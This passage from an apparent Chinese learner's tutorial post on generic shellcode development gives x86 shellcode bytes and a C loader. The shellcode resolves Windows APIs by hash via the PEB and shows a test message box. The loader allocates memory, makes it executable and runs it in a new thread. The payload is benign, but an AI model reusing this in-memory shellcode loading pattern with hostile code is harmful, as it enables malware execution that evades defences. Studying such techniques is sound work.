0xC7
,
0x45
,
0xFC
,
0x00
,
0x00
,
0x00
,
0x00
,
0x50
,
0x64
,
0xA1
,
0x30
,
0x00
,
0x00
,
0x00
,
0x8B
,
0x40
,
0x0C
,
0x8B
,
0x40
,
0x1C
,
0x8B
,
0x00
,
0x8B
,
0x40
,
0x08
,
0x89
,
0x45
,
0xFC
,
0x58
,
0x8B
,
0x7D
,
0xFC
,
0x33
,
0xF6
,
0x8B
,
0x47
,
0x3C
,
0x8B
,
0x44
,
0x38
,
0x78
,
0x03
,
0xC7
,
0x8B
,
0x48
,
0x1C
,
0x8B
,
0x50
,
0x24
,
0x03
,
0xCF
,
0x8B
,
0x58
,
0x18
,
0x03
,
0xD7
,
0x89
,
0x4D
,
0xF0
,
0x8B
,
0x48
,
0x20
,
0x03
,
0xCF
,
0x89
,
0x55
,
0xF4
,
0x89
,
0x4D
,
0xF8
,
0x85
,
0xDB
,
0x74
,
0x41
,
0x8B
,
0x14
,
0xB1
,
0x33
,
0xC0
,
0x8A
,
0x0C
,
0x3A
,
0x03
,
0xD7
,
0x84
,
0xC9
,
0x74
,
0x18
,
0xC1
,
0xC8
,
0x07
,
0x8D
,
0x52
,
0x01
,
0x0F
,
0xBE
,
0xC9
,
0x03
,
0xC1
,
0x8A
,
0x0A
,
0x84
,
0xC9
,
0x75
,
0xEF
,
0x3D
,
0x85
,
0xDF
,
0xAF
,
0xBB
,
0x74
,
0x0A
,
0x46
,
0x3B
,
0xF3
,
0x73
,
0x16
,
0x8B
,
0x4D
,
0xF8
,
0xEB
,
0xD0
,
0x8B
,
0x45
,
0xF4
,
0x8B
,
0x5D
,
0xF0
,
0x0F
,
0xB7
,
0x04
,
0x70
,
0x8B
,
0x1C
,
0x83
,
0x03
,
0xDF
,
0xEB
,
0x02
,
0x33
,
0xDB
,
0x8D
,
0x45
,
0xB4
,
0xC7
,
0x45
,
0xB4
,
0x4C
,
0x6F
,
0x61
,
0x64
,
0x50
,
0x57
,
0xC7
,
0x45
,
0xB8
,
0x4C
,
0x69
,
0x62
,
0x72
,
0xC7
,
0x45
,
0xBC
,
0x61
,
0x72
,
0x79
,
0x45
,
0x66
,
0xC7
,
0x45
,
0xC0
,
0x78
,
0x41
,
0xC6
,
0x45
,
0xC2
,
0x00
,
0xC7
,
0x45
,
0xDC
,
0x75
,
0x73
,
0x65
,
0x72
,
0xC7
,
0x45
,
0xE0
,
0x33
,
0x32
,
0x2E
,
0x64
,
0x66
,
0xC7
,
0x45
,
0xE4
,
0x6C
,
0x6C
,
0xC6
,
0x45
,
0xE6
,
0x00
,
0xC7
,
0x45
,
0xC4
,
0x4D
,
0x65
,
0x73
,
0x73
,
0xC7
,
0x45
,
0xC8
,
0x61
,
0x67
,
0x65
,
0x42
,
0xC7
,
0x45
,
0xCC
,
0x6F
,
0x78
,
0x41
,
0x00
,
0xC7
,
0x45
,
0xD0
,
0x45
,
0x78
,
0x69
,
0x74
,
0xC7
,
0x45
,
0xD4
,
0x50
,
0x72
,
0x6F
,
0x63
,
0xC7
,
0x45
,
0xD8
,
0x65
,
0x73
,
0x73
,
0x00
,
0xFF
,
0xD3
,
0x8B
,
0xF0
,
0x8D
,
0x45
,
0xD0
,
0x50
,
0xFF
,
0x75
,
0xFC
,
0xFF
,
0xD3
,
0x8B
,
0xF8
,
0x8D
,
0x45
,
0xC4
,
0x50
,
0x6A
,
0x00
,
0x6A
,
0x00
,
0x8D
,
0x45
,
0xDC
,
0x50
,
0xFF
,
0xD6
,
0x50
,
0xFF
,
0xD3
,
0x6A
,
0x00
,
0x8D
,
0x4D
,
0xE8
,
0xC7
,
0x45
,
0xA4
,
0x74
,
0x68
,
0x69
,
0x73
,
0x51
,
0x8D
,
0x4D
,
0xA4
,
0xC7
,
0x45
,
0xA8
,
0x20
,
0x69
,
0x73
,
0x20
,
0x51
,
0x6A
,
0x00
,
0xC7
,
0x45
,
0xAC
,
0x61
,
0x20
,
0x74
,
0x65
,
0x66
,
0xC7
,
0x45
,
0xB0
,
0x73
,
0x74
,
0xC6
,
0x45
,
0xB2
,
0x00
,
0xC7
,
0x45
,
0xE8
,
0x74
,
0x65
,
0x73
,
0x74
,
0xC6
,
0x45
,
0xEC
,
0x00
,
0xFF
,
0xD0
,
0x6A
,
0x00
,
0xFF
,
0xD7
,
0x5F
,
0x5E
,
0x5B
,
0x8B
,
0xE5
,
0x5D
,
0xC3
};
void main()
{
void
*
exec
;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
unsigned
int
payload_len
=
351
;
exec
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(
exec
, hexData, payload_len);
rv
=
VirtualProtect(
exec
, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE)
exec
,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
|
成功运行,如下所示:
漏洞研究小白,目前正在跟着书学习。希望自己能持之以恒。大家一起共勉
更多【通用shellcode开发原理与实践】相关视频教程:www.yxfzedu.com